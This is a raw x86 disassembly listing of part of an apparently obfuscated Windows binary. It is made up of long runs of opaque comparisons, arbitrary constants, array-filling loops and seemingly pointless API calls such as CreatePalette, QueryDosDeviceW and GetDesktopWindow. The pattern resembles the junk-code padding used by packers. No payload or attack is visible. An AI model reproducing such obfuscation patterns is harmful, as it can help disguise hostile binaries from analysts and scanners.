mov dword [ebp - 0x2488], 0
mov dword [ebp - 0x548], 0
jmp 0x462e1b
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 2
jge 0x462e3d
push dword [ebp - 0x548]
lea ecx, [ebp - 0x2a94]
call fcn.0042de28
mov dword [eax], 0x1bf2b299
jmp 0x462e0e
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0xb4c], eax
cmp dword [ebp - 0xb4c], 0
je 0x462e67
cmp dword [ebp - 0xb4c], 0
je 0x462e67
mov dword [ebp - 0xc30], 1
jmp 0x462e6e
and dword [ebp - 0xc30], 0
mov eax, dword [ebp - 0x974]
imul eax, dword [ebp - 0xc30]
cmp dword [ebp - 0xa74], eax
jle 0x462e8f
mov dword [ebp - 0x1ae8], 1
jmp 0x462e96
and dword [ebp - 0x1ae8], 0
mov eax, dword [ebp - 0x1ae8]
mov dword [ebp - 0x97c], eax
mov eax, dword [ebp - 0x97c]
cmp dword [ebp - 0x974], eax
jne 0x462ebc
mov dword [ebp - 0xc38], 1
jmp 0x462ec3
and dword [ebp - 0xc38], 0
cmp dword [ebp - 0xc38], 0x95ed7c6a
jb 0x462edb
mov dword [ebp - 0x1af0], 1
jmp 0x462ee2
and dword [ebp - 0x1af0], 0
cmp dword [ebp - 0x1af0], 0
jge 0x462ef7
mov dword [ebp - 0x1af8], 1
jmp 0x462efe
and dword [ebp - 0x1af8], 0
mov eax, dword [ebp - 0x974]
mov dword [ebp - 0xc40], eax
push 0
lea ecx, [ebp - 0x2a94]
call fcn.0042de28
mov ecx, dword [ebp - 0xc40]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc40]
sub eax, dword [ebp - 0x1af8]
cmp eax, dword [ebp - 0xa74]
mov eax, dword [ebp - 0x97c]
mov dword [ebp - 0x2488], eax
lea ecx, [ebp - 0x2a94]
call fcn.0042de0c
mov byte [ebp - 0x2b5], 0
mov dword [ebp - 0x48c], 0xfffffffd
mov dword [ebp - 0x8f4], 0
jmp 0x462f72
mov eax, dword [ebp - 0x8f4]
inc eax
mov dword [ebp - 0x8f4], eax
cmp dword [ebp - 0x8f4], 1
jge 0x462f8e
mov eax, dword [ebp - 0x8f4]
mov dword [ebp + eax*4 - 0xc48], 0x94801897
jmp 0x462f65
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xc48], 0
mov dword [ebp - 0x48c], 0
jmp 0x462fb8
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 1
jge 0x462fd4
mov eax, dword [ebp - 0x48c]
mov dword [ebp + eax*4 - 0xc48], 0xfd4914d2
jmp 0x462fab
movzx eax, byte [ebp - 0x2b5]
test eax, eax
je 0x46303b
mov dword [ebp - 0x1b00], 0
mov dword [ebp - 0x2498], 6
cmp dword [ebp - 0x1b00], 0
je 0x46301b
mov dword [ebp - 0x2490], 0xfff9
mov eax, dword [ebp - 0x2490]
imul eax, dword [ebp - 0x1b00]
mov dword [ebp - 0x2498], eax
jmp 0x463035
mov byte [ebp - 0x2b7], 0
movzx eax, byte [ebp - 0x2b7]
test eax, eax
je 0x463035
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0xc4], 0
push 1
lea ecx, [ebp - 0x2788]
call fcn.0042dd3a
mov dword [ebp - 0x2d28], 0x5a258d3b
mov dword [ebp - 0x2d30], 0xffffffff
mov dword [ebp - 0x2d38], 6
mov dword [ebp - 0x2d40], 1
mov dword [ebp - 0x2d48], 2
mov dword [ebp - 0x2d50], 1
mov dword [ebp - 0x2d58], 0xd625c2a3
mov dword [ebp - 0x2d60], 0x87e17710
mov dword [ebp - 0x2d68], 0x2e6ba999
mov dword [ebp - 0x2d70], 0xe131a3a4
mov dword [ebp - 0x2d78], 0
mov dword [ebp - 0x1b40], 0x3a43
mov dword [ebp - 0x1c4], 0
jmp 0x4630e3
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jge 0x463102
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x2788]
call fcn.0042de28
or dword [eax], 0xffffffff
jmp 0x4630d6
mov dword [ebp - 0x1c4], 0
jmp 0x46311b
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jge 0x463137
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x36b0], 0x992350c1
jmp 0x46310e
mov dword [ebp - 0xc4], 0x1c
jmp 0x463150
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xffffffea
jge 0x4634da
mov dword [ebp - 0x380], 7
mov dword [ebp - 0x558], 0xe74e8003
mov dword [ebp - 0x73c], 0x1cf04157
mov dword [ebp - 0x380], 0
jmp 0x463194
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 6
jge 0x4634d5
mov dword [ebp - 0x2200], 0xe7975358
mov dword [ebp - 0x21fc], 0xe7975358
mov dword [ebp - 0x21f8], 0xe7975358
mov dword [ebp - 0x21f4], 0xe7975358
mov dword [ebp - 0xc80], 1
mov dword [ebp - 0x1b20], 0x7f5e1753
mov dword [ebp - 0x1b28], 0x262b096
mov dword [ebp - 0x550], 0
jmp 0x463200
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 2
jge 0x46321c
mov eax, dword [ebp - 0x550]
mov dword [ebp + eax*4 - 0x2c44], 0xde2e510b
jmp 0x4631f3
xor eax, eax
sub eax, dword [ebp - 0xc4]
je 0x463232
mov dword [ebp - 0xc50], 1
jmp 0x463239
and dword [ebp - 0xc50], 0
cmp dword [ebp - 0x380], 1
je 0x46324e
mov dword [ebp - 0xb5c], 1
jmp 0x463255
and dword [ebp - 0xb5c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb5c]
mov dword [ebp + eax - 0x2200], ecx
mov eax, dword [ebp - 0xc50]
cmp eax, dword [ebp - 0xb5c]
jge 0x463282
mov dword [ebp - 0x1b08], 1
jmp 0x463289
and dword [ebp - 0x1b08], 0
mov eax, dword [ebp - 0x1b08]
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0
jne 0x4632a5
cmp dword [ebp - 0xc4], 0
mov dword [ebp - 0x73c], 1
xor eax, eax
jne 0x463345
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2200]
imul eax, dword [ebp - 0x558]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x2200]
jge 0x4632e5
mov dword [ebp - 0xc58], 1
jmp 0x4632ec
and dword [ebp - 0xc58], 0
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0xc58], eax
jg 0x463306
mov dword [ebp - 0x24a0], 1
jmp 0x46330d
and dword [ebp - 0x24a0], 0
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x2d80], eax
mov dword [ebp - 0x73c], 0xfff9
cmp dword [ebp - 0x73c], 0
jne 0x463345
cmp dword [ebp - 0x73c], 0
jne 0x463345
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x463345
and dword [ebp - 0x24a8], 0
jmp 0x46334f
mov dword [ebp - 0x24a8], 1
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0x2d88], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2200], 1
je 0x463376
mov dword [ebp - 0x1b10], 1
jmp 0x46337d
and dword [ebp - 0x1b10], 0
mov eax, dword [ebp - 0xc4]
add eax, dword [ebp - 0x1b10]
cmp dword [ebp - 0xc4], eax
jg 0x46339d
mov dword [ebp - 0xc60], 1
jmp 0x4633a4
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0x558]
cmp dword [ebp - 0xc60], eax
je 0x4633be
mov dword [ebp - 0x1b18], 1
jmp 0x4633c5
and dword [ebp - 0x1b18], 0
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0x1b18], eax
jle 0x4633df
mov dword [ebp - 0xc68], 1
jmp 0x4633e6
and dword [ebp - 0xc68], 0
mov eax, dword [ebp - 0xc68]
mov dword [ebp - 0x1b20], eax
mov esi, dword [ebp - 0x1b20]
push 0
lea ecx, [ebp - 0x2788]
call fcn.0042de28
cmp esi, dword [eax]
jl 0x463415
mov dword [ebp - 0xc70], 1
jmp 0x46341c
and dword [ebp - 0xc70], 0
mov eax, dword [ebp - 0xc70]
mov dword [ebp - 0x1b28], eax
mov esi, dword [ebp - 0x1b28]
push 0
lea ecx, [ebp - 0x2788]
call fcn.0042de28
cmp esi, dword [eax]
jg 0x46344b
mov dword [ebp - 0xc78], 1
jmp 0x463452
and dword [ebp - 0xc78], 0
cmp dword [ebp - 0xc78], 0xffffffff
jne 0x463467
mov dword [ebp - 0x1b30], 1
jmp 0x46346e
and dword [ebp - 0x1b30], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2200]
sub eax, dword [ebp - 0x1b30]
cmp eax, dword [ebp - 0xc4]
jl 0x463495
mov dword [ebp - 0x1b38], 1
jmp 0x46349c
and dword [ebp - 0x1b38], 0
mov eax, dword [ebp - 0xc80]
cmp dword [ebp - 0x1b38], eax
jl 0x4634b6
mov dword [ebp - 0xc88], 1
jmp 0x4634bd
and dword [ebp - 0xc88], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc88]
mov dword [ebp + eax - 0x2c44], ecx
jmp 0x463187
jmp 0x463143
mov eax, dword [ebp - 0x1b40]
inc eax
mov dword [ebp - 0x1b40], eax
lea ecx, [ebp - 0x2788]
call fcn.0042de0c
mov dword [ebp - 0x2c8], 1
push 2
lea ecx, [ebp - 0x2160]
call fcn.0042dd3a
mov dword [ebp - 0x984], 0xfffffff9
mov dword [ebp - 0x1b60], 0xe10d32de
mov dword [ebp - 0x24b0], 0x4bc795c3
mov dword [ebp - 0x24b8], 1
mov dword [ebp - 0x128], 0
jmp 0x46354a
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 2
jge 0x463569
push dword [ebp - 0x128]
lea ecx, [ebp - 0x2160]
call fcn.0042de28
or dword [eax], 0xffffffff
jmp 0x46353d
mov dword [ebp - 0x128], 0
jmp 0x463582
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 2
jge 0x46359e
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x20ec], 0x806a
jmp 0x463575
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0xfffffffb
jle 0x46362d
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x2d90], eax
mov eax, dword [ebp - 0x2c8]
cmp dword [ebp - 0x2c8], eax
je 0x4635d9
mov dword [ebp - 0xc90], 1
jmp 0x4635e0
and dword [ebp - 0xc90], 0
push 1
lea ecx, [ebp - 0x2160]
call fcn.0042de28
mov ecx, dword [ebp - 0xc90]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x2160]
call fcn.0042de28
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x20ec], 0
jne 0x46362d
push 1
lea ecx, [ebp - 0x2160]
call fcn.0042de28
cmp dword [eax], 0
jne 0x46362d
and dword [ebp - 0x1b48], 0
jmp 0x463637
mov dword [ebp - 0x1b48], 1
mov eax, dword [ebp - 0x1b48]
mov dword [ebp - 0x984], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x20ec]
cmp dword [ebp - 0x984], eax
jne 0x463664
mov dword [ebp - 0xc98], 1
jmp 0x46366b
and dword [ebp - 0xc98], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc98]
sub ecx, dword [ebp + eax - 0x20ec]
cmp dword [ebp - 0x2c8], ecx
jge 0x46369b
cmp dword [ebp - 0x984], 0
je 0x46369b
mov dword [ebp - 0x1b50], 1
jmp 0x4636a2
and dword [ebp - 0x1b50], 0
cmp dword [ebp - 0x1b50], 0xfffffffb
jle 0x4636b7
mov dword [ebp - 0xca0], 1
jmp 0x4636be
and dword [ebp - 0xca0], 0
cmp dword [ebp - 0xca0], 0x3e018ebd
jl 0x4636d6
mov dword [ebp - 0x1b58], 1
jmp 0x4636dd
and dword [ebp - 0x1b58], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1b58]
sub ecx, dword [ebp + eax - 0x20ec]
jne 0x46370d
push 1
lea ecx, [ebp - 0x2160]
call fcn.0042de28
cmp dword [eax], 0
jne 0x46370d
and dword [ebp - 0xca8], 0
jmp 0x463717
mov dword [ebp - 0xca8], 1
mov eax, dword [ebp - 0x1b60]
cmp dword [ebp - 0xca8], eax
je 0x463731
mov dword [ebp - 0xcb0], 1
jmp 0x463738
and dword [ebp - 0xcb0], 0
mov eax, dword [ebp - 0x1b60]
cmp dword [ebp - 0xcb0], eax
jne 0x463752
mov dword [ebp - 0x1b68], 1
jmp 0x463759
and dword [ebp - 0x1b68], 0
mov eax, dword [ebp - 0x24b0]
cmp dword [ebp - 0x1b68], eax
jl 0x463773
mov dword [ebp - 0xcb8], 1
jmp 0x46377a
and dword [ebp - 0xcb8], 0
mov eax, dword [ebp - 0xcb8]
mov dword [ebp - 0x24b8], eax
lea ecx, [ebp - 0x2160]
call fcn.0042de0c
mov byte [ebp - 0x2b9], 0
mov dword [ebp - 0x210], 0xdf99ff60
mov dword [ebp - 0xcd0], 1
mov dword [ebp - 0x98c], 0x63f6d1d8
mov dword [ebp - 0x188], 0
jmp 0x4637cf
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 3
jge 0x4637eb
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x2178], 0xfffffff7
jmp 0x4637c2
mov dword [ebp - 0x188], 0
jmp 0x463804
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 2
jge 0x463820
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x2c50], 1
jmp 0x4637f7
mov dword [ebp - 0x210], 0x13
jmp 0x463839
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x15
je 0x463a60
mov dword [ebp - 0x130], 0x485bf25c
mov dword [ebp - 0x24c8], 1
mov dword [ebp - 0x130], 0
jmp 0x463873
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 2
jg 0x463a5b
mov eax, dword [ebp - 0x130]
cmp dword [ebp + eax*4 - 0x2178], 0
je 0x463a4c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2178]
mov dword [ebp - 0x2d98], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2178], 0
jne 0x4638d0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2178], 0
jne 0x4638d0
and dword [ebp - 0x24c0], 0
jmp 0x4638da
mov dword [ebp - 0x24c0], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2178]
mov dword [ebp - 0x2da0], eax
mov eax, 0x8027
test eax, eax
je 0x4638fc
cmp dword [ebp - 0x210], 0
xor eax, eax
inc eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x130]
cmp eax, dword [ebp + ecx*4 - 0x2178]
jle 0x46391d
mov dword [ebp - 0x1b70], 1
jmp 0x463924
and dword [ebp - 0x1b70], 0
cmp dword [ebp - 0x1b70], 0
ja 0x463931
xor eax, eax
je 0x463946
cmp dword [ebp - 0x210], 0
je 0x463946
mov dword [ebp - 0xcc0], 1
jmp 0x46394d
and dword [ebp - 0xcc0], 0
cmp dword [ebp - 0xcc0], 0xff68e1
jne 0x463965
mov dword [ebp - 0x1b78], 1
jmp 0x46396c
and dword [ebp - 0x1b78], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x1b78], eax
jne 0x463986
mov dword [ebp - 0xcc8], 1
jmp 0x46398d
and dword [ebp - 0xcc8], 0
mov eax, dword [ebp - 0xcd0]
cmp dword [ebp - 0xcc8], eax
jge 0x4639a7
mov dword [ebp - 0x1b80], 1
jmp 0x4639ae
and dword [ebp - 0x1b80], 0
cmp dword [ebp - 0x1b80], 0xffffffff
jb 0x4639c0
cmp dword [ebp - 0x210], 0
je 0x4639de
cmp dword [ebp - 0x130], 0
je 0x4639de
cmp dword [ebp - 0xcd0], 0
je 0x4639de
mov dword [ebp - 0xa7c], 1
jmp 0x4639e5
and dword [ebp - 0xa7c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa7c]
mov dword [ebp + eax - 0x2c50], ecx
mov eax, dword [ebp - 0x98c]
cmp dword [ebp - 0xa7c], eax
jl 0x463a12
mov dword [ebp - 0x1b88], 1
jmp 0x463a19
and dword [ebp - 0x1b88], 0
mov eax, dword [ebp - 0x1b88]
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x98c], eax
jge 0x463a3f
mov dword [ebp - 0xcd8], 1
jmp 0x463a46
and dword [ebp - 0xcd8], 0
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x24c8], 0x43d9c8c7
jmp 0x463866
jmp 0x46382c
movzx eax, byte [ebp - 0x2b9]
test eax, eax
je 0x463bc2
mov dword [ebp - 0x560], 5
push 1
lea ecx, [ebp - 0x30f0]
call fcn.0042dd3a
mov dword [ebp - 0x82c], 0
jmp 0x463a9f
mov eax, dword [ebp - 0x82c]
inc eax
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 1
jge 0x463ac1
push dword [ebp - 0x82c]
lea ecx, [ebp - 0x30f0]
call fcn.0042de28
mov dword [eax], 0x6f9b
jmp 0x463a92
mov dword [ebp - 0x560], 0
jmp 0x463ada
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 0x14
jge 0x463baa
push 2
lea ecx, [ebp - 0x25b8]
call fcn.0042dd3a
mov dword [ebp - 0x744], 0
jmp 0x463b0d
mov eax, dword [ebp - 0x744]
inc eax
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 2
jge 0x463b2f
push dword [ebp - 0x744]
lea ecx, [ebp - 0x25b8]
call fcn.0042de28
mov dword [eax], 0xd5816210
jmp 0x463b00
push 1
lea ecx, [ebp - 0x25b8]
call fcn.0042de28
and dword [eax], 0
jmp 0x463b65
push 1
lea ecx, [ebp - 0x25b8]
call fcn.0042de28
mov dword [ebp - 0x1b90], eax
mov eax, dword [ebp - 0x1b90]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1b90]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x25b8]
call fcn.0042de28
cmp dword [eax], 0
jg 0x463b9a
mov byte [ebp - 0x2bb], 0
movzx eax, byte [ebp - 0x2bb]
test eax, eax
je 0x463b98
push 0x1695
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
jmp 0x463b41
lea ecx, [ebp - 0x25b8]
call fcn.0042de0c
jmp 0x463acd
lea ecx, [ebp - 0x30f0]
call fcn.0042de0c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
jmp 0x462bef
mov dword [ebp - 0x568], 0x5c8094a
mov dword [ebp - 0x2da8], 0xfffffffe
mov dword [ebp - 0x2db0], 0xffffffff
mov dword [ebp - 0xce0], 0
mov dword [ebp - 0x2db8], 0
mov dword [ebp - 0x2dc0], 0x921b0ae2
mov dword [ebp - 0x2dc8], 0xc5b1510a
mov dword [ebp - 0x2dd0], 0x3fc0233f
mov dword [ebp - 0x2dd8], 0xfffffff7
mov dword [ebp - 0x2de0], 0x2a19820b
mov dword [ebp - 0x2de8], 0xb874bdba
mov dword [ebp - 0x2df0], 8
mov dword [ebp - 0x2df8], 0x5e1bfeda
mov dword [ebp - 0x2e00], 0xffffffff
push 1
lea ecx, [ebp - 0x3110]
call fcn.0042dd3a
mov dword [ebp - 0x1b98], 0x4a78
mov dword [ebp - 0x190], 0
jmp 0x463c83
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 2
jge 0x463c9f
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x2c5c], 0xf9b3
jmp 0x463c76
mov dword [ebp - 0x190], 0
jmp 0x463cb8
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 1
jge 0x463cda
push dword [ebp - 0x190]
lea ecx, [ebp - 0x3110]
call fcn.0042de28
mov dword [eax], 0x87c4177f
jmp 0x463cab
mov dword [ebp - 0x568], 0
jmp 0x463cf3
mov eax, dword [ebp - 0x568]
inc eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 1
jg 0x463e8a
mov dword [ebp - 0x570], 0xfffffffa
mov dword [ebp - 0x2e08], 0x3607a988
mov dword [ebp - 0x2e10], 0xfffffffd
mov dword [ebp - 0x2e18], 0x5378470e
mov dword [ebp - 0x2e20], 0xeb8e136d
mov dword [ebp - 0x2e28], 0xffffffff
mov dword [ebp - 0x2e30], 0xbbd4aa41
mov dword [ebp - 0x2e38], 0xffffffff
mov dword [ebp - 0x2e40], 0x5a2f617a
mov dword [ebp - 0x2e48], 0xffffffff
mov dword [ebp - 0x2e50], 0xfffffff6
push 3
lea ecx, [ebp - 0x3100]
call fcn.0042dd3a
mov dword [ebp - 0x8a4], 0
jmp 0x463d94
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 3
jge 0x463db6
push dword [ebp - 0x8a4]
lea ecx, [ebp - 0x3100]
call fcn.0042de28
mov dword [eax], 0x9b885b3d
jmp 0x463d87
mov dword [ebp - 0x570], 0
jmp 0x463dcf
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 1
jg 0x463e7a
mov dword [ebp - 0x424], 1
mov dword [ebp - 0x74c], 0
jmp 0x463dff
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 3
jge 0x463e1b
mov eax, dword [ebp - 0x74c]
mov dword [ebp + eax*4 - 0x37f4], 0xfffffffb
jmp 0x463df2
mov dword [ebp - 0x424], 0
jmp 0x463e34
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 1
jg 0x463e68
mov dword [ebp - 0x2e58], 6
mov eax, dword [ebp - 0x424]
cmp dword [ebp + eax*4 - 0x2c5c], 0
je 0x463e59
jmp 0x463e68
mov eax, dword [ebp - 0xce0]
inc eax
mov dword [ebp - 0xce0], eax
jmp 0x463e27
mov eax, dword [ebp - 0x1b98]
inc eax
mov dword [ebp - 0x1b98], eax
jmp 0x463dc2
lea ecx, [ebp - 0x3100]
call fcn.0042de0c
jmp 0x463ce6
lea ecx, [ebp - 0x3110]
call fcn.0042de0c
cmp dword [ebp + 8], 2
jl 0x46ddb4
mov dword [ebp - 0x2e60], 1
mov dword [ebp - 0x2d0], 0x743d837b
push 2
lea ecx, [ebp - 0x2ad0]
call fcn.0042dd3a
mov dword [ebp - 0x578], 0
jmp 0x463ed9
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 2
jge 0x463efb
push dword [ebp - 0x578]
lea ecx, [ebp - 0x2ad0]
call fcn.0042de28
mov dword [eax], 3
jmp 0x463ecc
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2d0], 0
jmp 0x463f21
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 2
jge 0x463f43
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2ad0]
call fcn.0042de28
mov dword [eax], 4
jmp 0x463f14
lea ecx, [ebp - 0x2ad0]
call fcn.0042de0c
mov dword [ebp - 0xce8], 0
mov dword [ebp - 0x24d8], 6
cmp dword [ebp - 0xce8], 0
je 0x463f8a
mov dword [ebp - 0x24d0], 0xfff9
mov eax, dword [ebp - 0x24d0]
imul eax, dword [ebp - 0xce8]
mov dword [ebp - 0x24d8], eax
jmp 0x463fa4
mov byte [ebp - 0x2e9], 0
movzx eax, byte [ebp - 0x2e9]
test eax, eax
je 0x463fa4
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
mov dword [ebp - 0x100], 3
mov dword [ebp - 0x914], 0x57102d14
mov dword [ebp - 0x910], 0x57102d14
mov dword [ebp - 0x90c], 0x57102d14
mov dword [ebp - 0x908], 0x57102d14
mov dword [ebp - 0x994], 1
push 3
lea ecx, [ebp - 0x25c8]
call fcn.0042dd3a
mov dword [ebp - 0xb04], 0xd0f2fe87
mov dword [ebp - 0x588], 6
mov dword [ebp - 0x2bc4], 0xb4341910
mov dword [ebp - 0x2bc0], 0xb4341910
mov dword [ebp - 0x2bbc], 0xb4341910
mov dword [ebp - 0x2bb8], 0xb4341910
mov dword [ebp - 0xd80], 0x4dbb371
mov dword [ebp - 0xd88], 0xfffffff6
mov dword [ebp - 0x24e8], 0x18e2
mov dword [ebp - 0x834], 0
jmp 0x464060
mov eax, dword [ebp - 0x834]
inc eax
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 3
jge 0x46407f
push dword [ebp - 0x834]
lea ecx, [ebp - 0x25c8]
call fcn.0042de28
and dword [eax], 0
jmp 0x464053
mov dword [ebp - 0x100], 0
jmp 0x464098
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x11
jge 0x4646a3
mov dword [ebp - 8], 7
mov dword [ebp - 8], 0
jmp 0x4640bc
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jg 0x464695
mov dword [ebp - 0x84], 0x52eaa29c
mov dword [ebp - 0x4e8], 0x1d534a2c
mov dword [ebp - 0x24e0], 0xa102f310
mov dword [ebp - 0x84], 0
jmp 0x4640fd
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jg 0x464301
mov eax, dword [ebp - 0x84]
cmp dword [ebp + eax*4 - 0x914], 0
jne 0x464275
push 2
pop eax
test eax, eax
je 0x464186
cmp dword [ebp - 0x100], 0
je 0x464140
cmp dword [ebp - 8], 0
je 0x464140
mov dword [ebp - 0x1ba0], 1
jmp 0x464147
and dword [ebp - 0x1ba0], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1ba0], eax
jg 0x46415e
mov dword [ebp - 0xcf0], 1
jmp 0x464165
and dword [ebp - 0xcf0], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x914]
cmp dword [ebp - 0xcf0], eax
jg 0x464186
mov dword [ebp - 0x1ba8], 1
jmp 0x46418d
and dword [ebp - 0x1ba8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x914]
cmp eax, dword [ebp - 0x1ba8]
jle 0x4641ad
mov dword [ebp - 0xcf8], 1
jmp 0x4641b4
and dword [ebp - 0xcf8], 0
cmp dword [ebp - 0xcf8], 0xadd5
jge 0x4641cc
mov dword [ebp - 0x1bb0], 1
jmp 0x4641d3
and dword [ebp - 0x1bb0], 0
cmp dword [ebp - 0x1bb0], 0xcaad
je 0x4641eb
mov dword [ebp - 0xd00], 1
jmp 0x4641f2
and dword [ebp - 0xd00], 0
mov eax, dword [ebp - 0x4e8]
cmp dword [ebp - 0xd00], eax
je 0x46420c
mov dword [ebp - 0x1bb8], 1
jmp 0x464213
and dword [ebp - 0x1bb8], 0
cmp dword [ebp - 0x1bb8], 0x5540
jle 0x46422b
mov dword [ebp - 0xd08], 1
jmp 0x464232
and dword [ebp - 0xd08], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x914]
imul eax, dword [ebp - 0xd08]
test eax, eax
jne 0x46425c
mov eax, 0x6982b357
test eax, eax
je 0x46425c
mov dword [ebp - 0x1bc0], 1
jmp 0x464263
and dword [ebp - 0x1bc0], 0
cmp dword [ebp - 0x1bc0], 1
je 0x464275
and dword [ebp - 0xd10], 0
jmp 0x46427f
mov dword [ebp - 0xd10], 1
mov eax, dword [ebp - 0xd10]
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x4e8], eax
jge 0x4642b2
mov eax, dword [ebp - 0x84]
cmp dword [ebp + eax*4 - 0x914], 0
jne 0x4642b2
and dword [ebp - 0x1bc8], 0
jmp 0x4642bc
mov dword [ebp - 0x1bc8], 1
mov eax, dword [ebp - 0x1bc8]
sub eax, dword [ebp - 0x994]
mov ecx, dword [ebp - 8]
cmp eax, dword [ebp + ecx*4 - 0x914]
jge 0x4642e0
mov dword [ebp - 0xd18], 1
jmp 0x4642e7
and dword [ebp - 0xd18], 0
push 2
lea ecx, [ebp - 0x25c8]
call fcn.0042de28
mov ecx, dword [ebp - 0xd18]
mov dword [eax], ecx
jmp 0x4640f0
mov dword [ebp - 0x84], 0
jmp 0x46431a
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
